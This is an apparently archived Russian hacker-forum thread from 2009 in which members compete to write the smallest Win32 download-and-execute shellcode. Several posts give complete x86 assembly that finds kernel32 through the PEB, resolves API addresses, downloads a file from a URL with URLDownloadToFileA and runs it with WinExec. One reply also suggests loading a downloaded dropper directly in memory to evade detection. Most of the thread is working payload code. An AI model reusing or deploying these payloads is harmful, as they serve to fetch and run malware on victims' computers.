Предлогаю новогднее соревнование на самый маленький шеллкод для вин32

Тема в разделе "WASM.RESEARCH", создана пользователем sl0n, 3 янв 2009.

  1. sl0n

    sl0n Мамонт дзена **

    Публикаций:
    0
    Регистрация:
    26 сен 2003
    Сообщения:
    703
    ясен пень даунлод и екзек
    у меня вышло 185 байт без УРЛа, выложу его чуть позже, дерзайте !!!
    Ж)

    Сплоеты и шеллкоды потри хек , и почетыре то же хек !
     
  2. nester7

    nester7 New Member

    Публикаций:
    0
    Регистрация:
    5 дек 2003
    Сообщения:
    720
    Адрес:
    Russia
    Тут, вроде как, 124 есть, и не предел...
     
  3. sl0n

    sl0n Мамонт дзена **

    Публикаций:
    0
    Регистрация:
    26 сен 2003
    Сообщения:
    703
    ага точняк чо то я недосмотрел
    ну там маленькое ограничение но оно не сильно существенное
    "the URLMON.DLL must already be loaded into the process space for this to work, so do not run on its own!!"
     
  4. JCronuz

    JCronuz New Member

    Публикаций:
    0
    Регистрация:
    26 сен 2007
    Сообщения:
    1.240
    Адрес:
    Russia
    sl0n покажи свой
     
  5. MSoft

    MSoft New Member

    Публикаций:
    0
    Регистрация:
    16 дек 2006
    Сообщения:
    2.854
    так а кто победил? :)
     
  6. x0man

    x0man New Member

    Публикаций:
    0
    Регистрация:
    23 мар 2008
    Сообщения:
    358
    При любом раскладе победил Я! ^_^
     
  7. researcher

    researcher New Member

    Публикаций:
    0
    Регистрация:
    18 мар 2005
    Сообщения:
    45
    Адрес:
    Russia
    Присоединяюсь к соревнованию, с условием, что URLMON.DLL не загружен и размер шеллкода не включает URL.
    С учетом, что должны отработать URLDownloadToFileA, WinExec, ExitProcess у меня получилось 172 байта. Копаю дальше. Предполагаю, что ExitProcess может и не нужна, тогда экономим еще около 10 байт.
     
  8. researcher

    researcher New Member

    Публикаций:
    0
    Регистрация:
    18 мар 2005
    Сообщения:
    45
    Адрес:
    Russia
    sl0n
    Правильно я понял, что нулевые байты исключены?
     
  9. researcher

    researcher New Member

    Публикаций:
    0
    Регистрация:
    18 мар 2005
    Сообщения:
    45
    Адрес:
    Russia
    После долгого копания получилось 160 байт.
     
  10. Freeman

    Freeman New Member

    Публикаций:
    0
    Регистрация:
    10 фев 2005
    Сообщения:
    1.385
    Адрес:
    Ukraine
    AndreyMust19 и тут влез :)
    тут ссылка классная проскакивала shellcode
     
  11. K10

    K10 New Member

    Публикаций:
    0
    Регистрация:
    3 окт 2008
    Сообщения:
    1.590
    GoldFinch
    Кстати, да, не находит ли уважаемая общественность, что лучше (и менее палевнее) скачивать и загружать ДЛЛ, чем скачивать, сохранять и запускать ЕХЕ?
    Могу ошибаться, но вроде добрые люди сейчас так и делают...

    РС. Имеется ввиду запускать ДЛЛ из памяти, без сохранения. Это может быть и не ДЛЛ, как таковая, а просто скачанный буфер с базонезависимым кодом, который производит установку всего софта в систему, т.е. дроппер.
     
  12. MSoft

    MSoft New Member

    Публикаций:
    0
    Регистрация:
    16 дек 2006
    Сообщения:
    2.854
    так можно делать и с ехе (просто релоки оставить). А вообще, суть конкурса не в практичности, а в мастерстве кодера
     
  13. sl0n

    sl0n Мамонт дзена **

    Публикаций:
    0
    Регистрация:
    26 сен 2003
    Сообщения:
    703
    ммм во расфлудились , ну я не сильно старательно оптимизил , зато читаемо палучилось =)

    просто увидел что размер важен в xmlcore експе вот и решил что-то паменьше написать, шеллкод с нулями без урлы вот

    Код (Text):
    1. ;******************************************************************************;
    2. start_shellcodes:
    3.                 call    get_delta
    4. get_delta:      pop     ebp
    5.                 sub     ebp,get_delta
    6.  
    7.                 sub     eax,eax
    8.                 add     eax,[fs:30h+eax]            ;
    9.                 mov     eax,[eax+0Ch]           ;
    10.                 mov     esi,[eax+1Ch]           ; Получаем адрес kernel32.dll
    11.                 lodsd                           ;
    12.                 mov     esi,[eax+8]             ;
    13.                 push    esi
    14. not_one:
    15.                 lodsb
    16.                 cmp     al,0x8b
    17.                 jne     not_one
    18.                 cmp     byte [esi],0x7d
    19.                 jne     not_one
    20.                 add     esi,3
    21.                 lodsd
    22.                 cmp     eax,0x0000ffff
    23.                 jne     not_one
    24.                 sub     esi,0x11
    25.  
    26.                 pop     ebx
    27.                 stdcall esi,ebx,"LoadLibraryA"
    28.                 stdcall eax,"urlmon"
    29.                 stdcall esi,eax,"URLDownloadToFileA"
    30.                 sub     ecx,ecx
    31.                 lea     edx,[ebp+urla__]
    32.                 lea     edi,[ebp+f_name]
    33.                 stdcall eax,ecx,edx,edi,ecx,ecx
    34.                 stdcall esi,ebx,"WinExec"
    35.                 stdcall eax,edi,1
    36.                 stdcall esi,ebx,"ExitProcess"
    37.                 call    eax
    38. ;------------------------------------------------------------------------------;
    39. f_name          db      '..\1',0
    40. without_url:
    41. ;------------------------------------------------------------------------------;
    42. urla__          db      'http://www.google.com.ua/index.html',0
    43. times           10      db      0
    44. ;------------------------------------------------------------------------------;
    45. end_shellcodes:
    46. ;******************************************************************************;
    размер without_url-startshellcodes==185

    в принципе если пастараться то можно от строк уйти и оптимизировать поиск но думаю 120 это предел
    ExitProcess нужен ;)
     
  14. takerZ

    takerZ New Member

    Публикаций:
    0
    Регистрация:
    6 апр 2008
    Сообщения:
    18
    160. Подгружает урлмон
    Код (Text):
    1. use32
    2. sc_start:
    3.         mov       edi, 0B3746h
    4.         db        0E8h, t_kbase - $ - 4, 00h, 00h, 00h ; eax <- LoadLibraryA
    5.         call      sc_delta
    6. sc_delta:
    7.         add       dword [esp], sz_urlmon - $
    8.         push      dword [esp]
    9.         call      eax ; eax <- urlmon.dll base
    10.         xchg      ebx, eax
    11.         mov       edi, 29E1CB2h
    12.         db        0E8h, t_getaddr - $ - 4, 00h, 00h, 00h ; eax <- UrlDownLoadToFileA
    13.         pop       esi
    14.         add       esi, sz_file - sz_urlmon
    15.         push      0FFh
    16.         push      esi
    17.         xor       ecx, ecx
    18.         push      ecx
    19.         push      ecx
    20.         push      esi
    21.         add       esi, sz_url - sz_file
    22.         push      esi
    23.         push      ecx
    24.         call      eax ; UrlDownloadToFile
    25.         mov       edi, 5DEAh
    26.         db        0E8h, t_kbase - $ - 4, 00h, 00h, 00h ; eax <- WinExec
    27.         call      eax ; WinExec
    28.         mov       edi, 5AC6Ah
    29.         db        0E8h, t_getaddr - $ - 4, 00h, 00h, 00h ; eax <- ExitProcess
    30.         push      eax
    31.         call      eax ; ExitProcess
    32. sz_urlmon:
    33.         db        'urlmon', 0
    34. sz_file:
    35.         db        '..\f', 0
    36. sz_url:
    37. ;        db        'http://www.microsoft.com/hellow.exe', 0
    38. t_kbase:
    39.         mov       eax, [fs:30h]
    40.         mov       eax, [eax + 0Ch]
    41.         mov       esi, [eax + 1Ch]
    42.         lodsd
    43.         mov       ebx, [eax + 08h]
    44. t_getaddr:
    45.         mov       edx, dword [ebx + 3Ch]
    46.         mov       esi, [ebx + edx + 78h]
    47.         lea       esi, dword [esi + ebx + 1Ch]
    48.         lodsd
    49.         xchg      eax, ecx
    50.         lodsd
    51.         mov       esi, dword [eax + ebx]
    52.         add       esi, ebx
    53.         xor       edx, edx
    54.         dec       edx
    55. @@:
    56.         inc       edx
    57.         xor       ebp, ebp
    58.         xchg      ebp, eax
    59. _nextbyte:
    60.         add       ebp, eax
    61.         rol       ebp, 1
    62.         lodsb
    63.         test      al, al
    64.         jne       _nextbyte
    65.         cmp       ebp, edi
    66.         jnz       @b
    67.         shl       edx, 02h
    68.         add       ecx, ebx
    69.         mov       eax, dword [ecx + edx]
    70.         add       eax, ebx
    71.         ret
     
  15. censored

    censored New Member

    Публикаций:
    0
    Регистрация:
    5 июл 2005
    Сообщения:
    1.615
    Адрес:
    деревня "Анонимные Прокси"
    Модифицированная версия sl0n'a, 170 bytes:
    Код (Text):
    1. ;
    2. ; small.asm
    3. ;
    4.  
    5.             format  binary
    6.                         use32
    7.  
    8.                         push    0x30
    9.                         pop     eax
    10.                         mov     eax, [fs:eax]
    11.                         mov     eax, [eax + 0x0C]    ; eax = *PROCESS_MODULE_INFO
    12.                         mov     esi, [eax + 0x1C]    ; esi = InInitOrder.flink
    13.                         lodsd                        ; eax = InInitOrder.blink
    14.                         mov     esi, [eax + 0x08]    ; esi = kernel32 imagebase
    15.                         push    esi
    16.  
    17. cycle:                  lodsb
    18.                         cmp     al, 0x8B
    19.                         jne     cycle
    20.                         cmp     byte [esi], 0x7D
    21.                         jne     cycle
    22.                         add     esi, 3
    23.                         lodsd
    24.                         cmp     eax, 0x0000FFFF
    25.                         jne     cycle
    26.                         sub     esi, 0x11            ; esi = GetProcAddress
    27.  
    28.                         pop     ebx                  ; ebx = kernel32 imagebase
    29.                         push    0
    30.                         push    "aryA"
    31.                         push    "Libr"
    32.                         push    "Load"
    33.                         push    esp
    34.                         push    ebx
    35.                         call    esi
    36.  
    37.                         push    "ON"                        
    38.                         push    "URLM"
    39.                         push    esp
    40.                         call    eax
    41.  
    42.                         push    "eA"
    43.                         push    "oFil"
    44.                         push    "oadT"
    45.                         push    "ownl"
    46.                         push    "URLD"
    47.                         push    esp
    48.                         push    eax
    49.                         call    esi
    50.  
    51.                         call    delta
    52. delta:                  pop     ebp
    53.                         lea     edx, [ebp + url - delta]
    54.  
    55.                         push    "\1"
    56.                         mov     ebp, esp
    57.                         xor     edi, edi
    58.                         push    edi                  ; lpfnCB
    59.                         push    edi                  ; dwReserved
    60.                         push    ebp                  ; szFileName
    61.                         push    edx                  ; szUrl
    62.                         push    edi                  ; pCaller
    63.                         call    eax
    64.  
    65.                         push    "xec"
    66.                         push    "WinE"
    67.                         push    esp
    68.                         push    ebx
    69.                         call    esi
    70.  
    71.                         push    1
    72.                         push    ebp
    73.                         call    eax
    74.  
    75.                         push    "ess"
    76.                         push    "Proc"
    77.                         push    "Exit"
    78.                         push    esp
    79.                         push    ebx
    80.                         call    esi
    81.                         call    eax
    82.  
    83. url:                    ;db      'http://localhost/notepad.exe', 0
    84.  
    85. ; [EOF]
     
  16. Freeman

    Freeman New Member

    Публикаций:
    0
    Регистрация:
    10 фев 2005
    Сообщения:
    1.385
    Адрес:
    Ukraine
    censored, вместо
    Код (Text):
    1.                         push    "eA"
    2.                         push    "oFil"
    3.                         push    "oadT"
    4.                         push    "ownl"
    5.                         push    "URLD"
    6.                         push    esp
    Код (Text):
    1. call    @f
    2.                         db 'URLDownloadToFileA',0
    3.                       @@:
    исчо пару байтеков...
     
  17. Freeman

    Freeman New Member

    Публикаций:
    0
    Регистрация:
    10 фев 2005
    Сообщения:
    1.385
    Адрес:
    Ukraine
    Модифицированная версия ценза. 163 байтенга
    Код (Text):
    1.                         format  binary
    2.                         use32
    3.  
    4.                         push    0x30
    5.                         pop     eax
    6.                         mov     eax, [fs:eax]
    7.                         mov     eax, [eax + 0x0C]    ; eax = *PROCESS_MODULE_INFO
    8.                         mov     esi, [eax + 0x1C]    ; esi = InInitOrder.flink
    9.                         lodsd                        ; eax = InInitOrder.blink
    10.                         mov     esi, [eax + 0x08]    ; esi = kernel32 imagebase
    11.                         push    esi
    12.  
    13. cycle:                  lodsb
    14.                         cmp     al, 0x8B
    15.                         jne     cycle
    16.                         cmp     byte [esi], 0x7D
    17.                         jne     cycle
    18.                         add     esi, 3
    19.                         lodsd
    20.                         cmp     eax, 0x0000FFFF
    21.                         jne     cycle
    22.                         sub     esi, 0x11            ; esi = GetProcAddress
    23.  
    24.                         call    @f
    25.                         LoadLib db 'LoadLibraryA',0
    26.                         UrlMon db 'URLMON',0
    27.                         Down db 'URLDownloadToFileA',0
    28.                         fl db '\1',0
    29.                         Exec db 'WinExec',0
    30.                         ExitPr db 'ExitProcess',0
    31.  
    32.                         @@:
    33.                         pop     ebp
    34.  
    35.                         pop     ebx                  ; ebx = kernel32 imagebase
    36.                         push    ebp
    37.                         push    ebx
    38.                         call    esi
    39.  
    40.                         add     ebp,UrlMon-LoadLib
    41.                         push    ebp
    42.                         call    eax
    43.  
    44.                         add     ebp,Down-UrlMon
    45.                         push    ebp
    46.                         push    eax
    47.                         call    esi
    48.  
    49.                         lea     edx, [ebp + url - Down]
    50.  
    51.                         xor     edi, edi
    52.                         push    edi                  ; lpfnCB
    53.                         push    edi                  ; dwReserved
    54.                         add      ebp,fl-Down
    55.                         push    ebp                  ; szFileName
    56.                         push    edx                  ; szUrl
    57.                         push    edi                  ; pCaller
    58.                         call    eax
    59.  
    60.  
    61.                         push    1
    62.                         push    ebp
    63.  
    64.                         add     ebp,Exec-fl
    65.                         push    ebp
    66.                         push    ebx
    67.                         call    esi
    68.  
    69.                         call    eax
    70.  
    71.                         add     ebp,ExitPr-Exec
    72.                         push    ebp
    73.                         push    ebx
    74.                         call    esi
    75.                         call    eax
    76.  
    77. url:                    ;db      'http://localhost/1.exe', 0
     
  18. CRONUZ

    CRONUZ New Member

    Публикаций:
    0
    Регистрация:
    22 июн 2007
    Сообщения:
    101
    не ну у меня за 200 кб был шелкод и то ща не найти
     
  19. MSoft

    MSoft New Member

    Публикаций:
    0
    Регистрация:
    16 дек 2006
    Сообщения:
    2.854
    хуясе! что же он умеет у тебя???
     
  20. Freeman

    Freeman New Member

    Публикаций:
    0
    Регистрация:
    10 фев 2005
    Сообщения:
    1.385
    Адрес:
    Ukraine
    скрывает всю систему, оставляет только посьянсы и сапер, полное удаленное управление, подтасовка колоды, расстановка мин в сапере...